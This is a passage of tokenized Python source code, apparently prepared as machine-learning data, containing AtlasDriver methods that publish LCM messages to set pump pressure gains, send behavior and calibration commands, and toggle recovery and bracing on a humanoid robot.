"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"current",
"\\u",
"pump",
"\\u",
"rpm_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Max",
"Act",
"uator",
"Press",
"ure_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"averag",
"e",
"Rece",
"nt",
"Max",
"Press",
"ure_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Des",
"ired",
"Pump",
"Psi",
"_",
"(_",
"self_",
",_",
"desi",
"red",
"Psi",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"atlas",
"_",
"._",
"pump",
"\\u",
"command",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"psi",
"\\u",
"p_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"press",
"ure",
" ",
"error",
" ",
"(",
"A",
"/",
"psi",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"psi",
"\\u",
"i_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"the",
" ",
"integral",
" ",
"of",
" ",
"the",
" ",
"press",
"ure",
" ",
"error",
" ",
"(",
"A",
"/(",
"psi",
"/",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"psi",
"\\u",
"d_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"the",
" ",
"deriv",
"ative",
" ",
"of",
" ",
"the",
" ",
"press",
"ure",
" ",
"error",
" ",
"(",
"A",
"/(",
"psi",
" ",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"rpm",
"\\u",
"p_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"rpm",
" ",
"error",
" ",
"(",
"A",
" ",
"/",
" ",
"rpm",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"rpm",
"\\u",
"i_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"the",
" ",
"integral",
" ",
"of",
" ",
"the",
" ",
"rpm",
" ",
"error",
" ",
"(",
"A",
" ",
"/",
" ",
"(",
"rpm",
" ",
"s",
"))",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"k",
"\\u",
"rpm",
"\\u",
"d_",
"=_",
"0.0_",
"#",
" ",
"Gain",
" ",
"on",
" ",
"the",
" ",
"deriv",
"ative",
" ",
"of",
" ",
"the",
" ",
"rpm",
" ",
"error",
" ",
"(",
"A",
" ",
"/",
" ",
"(",
"rpm",
"/",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"ff",
"\\u",
"rpm",
"\\u",
"d_",
"=_",
"0.0_",
"#",
" ",
"Feed",
"-",
"forward",
" ",
"gain",
" ",
"on",
" ",
"the",
" ",
"desi",
"red",
" ",
"rpm",
" ",
"(",
"A",
" ",
"/",
" ",
"rpm",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"ff",
"\\u",
"psi",
"\\u",
"d_",
"=_",
"0.0_",
"#",
" ",
"Feed",
"-",
"forward",
" ",
"gain",
" ",
"on",
" ",
"the",
" ",
"desi",
"red",
" ",
"press",
"ure",
" ",
"(",
"A",
" ",
"/",
" ",
"psi",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"ff",
"\\u",
"const_",
"=_",
"0.0_",
"#",
" ",
"Const",
"ant",
" ",
"current",
" ",
"term",
" ",
"(",
"Amp",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"psi",
"\\u",
"i",
"\\u",
"max_",
"=_",
"0.0_",
"#",
" ",
"Max",
".",
" ",
"abs",
".",
" ",
"value",
" ",
"to",
" ",
"whi",
"ch",
" ",
"the",
" ",
"integral",
" ",
"psi",
" ",
"error",
" ",
"is",
" ",
"clamp",
"ed",
" ",
"(",
"psi",
" ",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"rpm",
"\\u",
"i",
"\\u",
"max_",
"=_",
"0.0_",
"#",
" ",
"Max",
".",
" ",
"abs",
".",
" ",
"value",
" ",
"to",
" ",
"whi",
"ch",
" ",
"the",
" ",
"integral",
" ",
"rpm",
" ",
"error",
" ",
"is",
" ",
"clamp",
"ed",
" ",
"(",
"rpm",
" ",
"s",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Max",
".",
" ",
"command",
" ",
"output",
" ",
"(",
"A",
").",
" ",
"Default",
" ",
"is",
" ",
"60",
" ",
"Amp",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"value",
" ",
"may",
" ",
"need",
" ",
"to",
" ",
"be",
" ",
"lower",
" ",
"than",
" ",
"the",
" ",
"default",
" ",
"in",
" ",
"order",
" ",
"to",
" ",
"avoid",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"caus",
"ing",
" ",
"the",
" ",
"motor",
" ",
"driver",
" ",
"to",
" ",
"fault",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"cmd",
"\\u",
"max_",
"=_",
"60_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"desi",
"red",
"\\u",
"psi_",
"=_",
"desi",
"red",
"Psi",
"_",
"#",
" ",
"default",
" ",
"shou",
"ld",
" ",
"be",
" ",
"1500_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"desi",
"red",
"\\u",
"rpm_",
"=_",
"5000_",
"#",
" ",
"default",
" ",
"shou",
"ld",
" ",
"be",
" ",
"5000_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"PU",
"MP",
"\\u",
"COMMA",
"ND",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Behavio",
"r",
"Command_",
"(_",
"self_",
",_",
"behavior",
"Name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"behavior",
"\\u",
"command",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"command_",
"=_",
"behavior",
"Name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"BE",
"HA",
"VIO",
"R",
"\\u",
"COMMA",
"ND",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Sto",
"p",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"stop",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Freez",
"e",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"freez",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Prep",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"prep",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Stand",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"stand",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Combine",
"d",
"Stand",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"stand",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"start",
"up",
"Stage_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"sent",
"Stand",
"Ut",
"ime_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"MIT",
"Stand",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"utime",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"START",
"\\u",
"MIT",
"\\u",
"STAN",
"D",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Recover",
"y",
"Enable_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"boolean",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"data_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"RECO",
"VERY",
"\\u",
"ENABLE",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Bra",
"cing",
"Enable_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"boolean",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"data_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"BRAC",
"ING",
"\\u",
"ENABLE",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Bra",
"cing",
"Disable_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"boolean",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"data_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"BRAC",
"ING",
"\\u",
"ENABLE",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Recover",
"y",
"Disable_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"boolean",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"data_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"RECO",
"VERY",
"\\u",
"ENABLE",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Recover",
"y",
"Trigger",
"On_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"recover",
"y",
"\\u",
"trigger",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"activate_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"override_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"RECO",
"VERY",
"\\u",
"TRIGGER",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Recover",
"y",
"Trigger",
"Off_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"recover",
"y",
"\\u",
"trigger",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"activate_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"override_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"RECO",
"VERY",
"\\u",
"TRIGGER",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Mani",
"p",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"manip",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"User",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"user",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Calibrat",
"e",
"Null",
"Bia",
"s",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"calibrate",
"\\u",
"null",
"\\u",
"bias",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Calibrat",
"e",
"Electric",
"Arm",
"s",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"calibrate",
"\\u",
"electric",
"\\u",
"arms",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Calibrat",
"e",
"Electric",
"Arm",
"s",
"Freez",
"e",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"calibrate",
"\\u",
"electric",
"\\u",
"arms",
"\\u",
"freez",
"e",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Electric",
"Arm",
"Enable",
"d",
"State_",
"(_",
"self_",
",_",
"enable",
"d",
"State_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"atlas",
"_",
"._",
"electric",
"\\u",
"arm",
"\\u",
"enable",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"num",
"\\u",
"electric",
"\\u",
"arm",
"\\u",
"joints_",
"=_",
"6_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"len_",
"(_",
"enable",
"d",
"State_",
")_",
"==_",
"msg_",
"._",
"num",
"\\u",
"electric",
"\\u",
"arm",
"\\u",
"joints_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"enable_",
"=_",
"enable",
"d",
"State_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"ELECT",
"RIC",
"\\u",
"ARM",
"\\u",
"ENABLE",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Calibrat",
"e",
"Encode",
"rs",
"Command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"utime",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"CALI",
"BRA",
"TE",
"\\u",
"ARM",
"\\u",
"ENCODE",
"RS",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Plan",
"Us",
"ing",
"Bd",
"i",
"Height_",
"(_",
"self_",
",_",
"enabled_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"plan",
"\\u",
"adjust",
"\\u",
"mode",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"mode_",
"=_",
"1_",
"if_",
"enabled_",
"else_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"PLAN",
"\\u",
"US",
"ING",
"\\u",
"BD",
"I",
"\\u",
"HE",
"IGHT",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Ini",
"t",
"At",
"Zero_",
"(_",
"self_",
",_",
"randomize",
"_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Read",
"y",
"Message_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"randomize",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"bounds_",
"=_",
"np_",
"._",
"array_",
"(_",
"[_",
"50.0_",
",_",
"50.0_",
",_",
"50.0_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pos_",
"=_",
"-_",
"bounds_",
"+_",
"np_",
"._",
"random_",
"._",
"rand_",
"(_",
"3_",
")_",
"*_",
"2_",
"*_",
"bounds_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"yaw_",
"=_",
"np_",
"._",
"random_",
"._",
"rand_",
"(_",
")_",
"*_",
"np_",
"._",
"pi_",
"*_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pos_",
"=_",
"[_",
"0_",
",_",
"0_",
",_",
"0.85_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"yaw_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"send",
"Ini",
"t",
"Message_",
"(_",
"pos_",
",_",
"yaw_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Read",
"y",
"Message_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"read",
"y",
"\\u",
"init_",
"=_",
"lcm",
"dr",
"c_",
"._",
"utime",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"read",
"y",
"\\u",
"init_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
